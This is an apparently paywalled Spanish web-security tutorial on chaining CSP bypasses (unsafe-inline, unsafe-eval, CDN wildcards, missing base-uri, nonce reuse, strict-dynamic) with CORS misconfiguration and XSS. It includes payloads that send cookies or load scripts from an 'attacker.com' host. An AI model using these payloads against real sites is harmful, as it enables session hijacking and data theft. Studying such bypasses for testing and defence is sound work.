Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel AvanzadoPremium

CSP bypass + CORS misconfig + XSS — chain completo de explotación

Cómo encadenar misconfiguración CSP (unsafe-inline, wildcard sources, JSONP endpoints whitelistados), CORS con credentials y XSS para data exfiltration sin restricciones.

Gorka El Bochi11 de mayo de 202617 min

Respuesta rápida

CSP bien implementada hace que XSS sea "informational" — el payload no ejecuta. Pero 'unsafe-inline', 'unsafe-eval', wildcards (*.cdn.com) y endpoints JSONP en dominios whitelisted abren huecos. Encadenado con CORS mal configurado (Access-Control-Allow-Origin: * + Allow-Credentials: true, o reflexión del Origin header), el atacante exfiltra datos arbitrarios. La chain típica: XSS contained por CSP → CSP bypass via JSONP/wildcard → CORS misconfig para fetch credentials → exfil.


Anatomía de una CSP

http
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m' https://cdn.target.com https://*.googleapis.com;
  style-src 'self' 'unsafe-inline';
  img-src * data:;
  connect-src 'self' https://api.target.com;
  frame-ancestors 'none';
  base-uri 'self';
  report-uri /csp-report

Las directivas relevantes para XSS:

DirectivaPropósitoBypass posible si
script-srcQué scripts puedes cargarContiene unsafe-inline, unsafe-eval, wildcards CDN, dominios con JSONP
default-srcFallbackSi la app no setea script-src, defaults aquí
object-src<object>, <embed>, <applet>Si no es 'none', Flash legacy attacks (raro 2026)
base-uri<base href> injectionSi no está, atacante setea <base> y redirige relative scripts
style-srcCSS sourcesunsafe-inline permite CSS exfil con expressions
connect-srcFetch/XHR/WebSocket destinationsSi es * o tiene wildcards, exfil sin restricción
frame-ancestorsQuién puede framear estoSin él, clickjacking posible

Bypass 1 — 'unsafe-inline' literal

css
Content-Security-Policy: script-src 'self' 'unsafe-inline'

La CSP está "presente" pero unsafe-inline la anula para inline scripts. Cualquier XSS clásico funciona sin restricciones. Sigue siendo extremadamente común en SaaS heredados que migraron a CSP sin refactorizar inline handlers.

html
<img src=x onerror=fetch('https://attacker.com/c?='+document.cookie)>

Bypass 2 — 'unsafe-eval' habilitado

'unsafe-eval' permite eval(), Function(), setTimeout(string). Si el XSS aterriza en un sink donde puedes ejecutar string-as-code, no necesitas inline:

html
<script src="https://cdn-whitelisted.com/legit.js"></script>
<!-- Si legit.js hace eval(window.name) o similar, puedes inyectar payload via window.name -->

Combinado con Angular legacy (ng-app) o React con dangerouslySetInnerHTML, los template engines se convierten en sinks de eval.


Bypass 3 — Wildcards en script-src

arduino
script-src 'self' https://*.cloudfront.net

CloudFront permite a cualquiera hospedar JS estático. El atacante crea su propio bucket S3 → URL del tipo https://attacker-bucket.s3.cloudfront.net/payload.js. CSP lo permite.

html
<script src="https://attacker.s3.cloudfront.net/p.js"></script>

Variantes peligrosas:

perl
script-src 'self' https://*.googleusercontent.com   # Cualquiera con cuenta Google hospeda
script-src 'self' https://*.amazonaws.com           # S3 público
script-src 'self' https://storage.googleapis.com    # GCS público
script-src 'self' https://raw.githubusercontent.com # GitHub raw files

Todos los servicios "user-content under CDN" rompen CSP si están whitelisteados.


Bypass 4 — base-uri ausente + relative scripts

Si la app no setea base-uri 'self' pero usa relative <script src="./app.js">:

html
<!-- XSS injection point -->
<base href="https://attacker.com/">

<!-- Ahora cualquier <script src="./app.js"> en la página después de este punto -->
<!-- carga https://attacker.com/app.js -->

Sutil porque la app sigue funcionando si atacante hospeda un app.js benigno + payload. CSP no detecta porque base-uri no la cubre.


Bypass 5 — Nonce reuse o predecible

arduino
script-src 'self' 'nonce-abc123'
html
<script nonce="abc123">window.config = {...}</script>

Si el nonce es:

  • Reusado entre requests (cacheable / shared): atacante captura un nonce y lo usa en su payload.
  • Predecible (timestamps, counter, weak random): predicting future nonces.
  • Reflejado en el HTML como atributo de otro elemento: si el atacante puede inyectar en cualquier atributo del DOM cerca del nonce, copia el valor.

Ejemplo de copy-nonce attack (HTML injection limitado):

html
<img src=x onerror="
  const nonce = document.querySelector('script[nonce]').nonce;
  const s = document.createElement('script');
  s.setAttribute('nonce', nonce);
  s.src = 'https://attacker.com/p.js';
  document.head.appendChild(s);
">

onerror no ejecuta si la CSP es strict (block inline), pero si el nonce está accessible via .nonce property y CSP permite via wildcard CDN, sí.


Bypass 6 — strict-dynamic + injected script

'strict-dynamic' permite que scripts cargados via API (appendChild) por scripts ya autorizados ejecuten también. Si el atacante consigue ejecutar una sola línea dentro de un script autorizado (vía gadget, DOM clobbering, prototype pollution), puede cargar arbitrary JS:

javascript
// Una vez ejecutando dentro de un script autorizado:
const s = document.createElement('script');
s.src = 'https://attacker.com/p.js';
document.head.appendChild(s);

strict-dynamic da carta blanca al loader autorizado.

Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Practica esto en un lab

Csp Bypass Arsenal

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados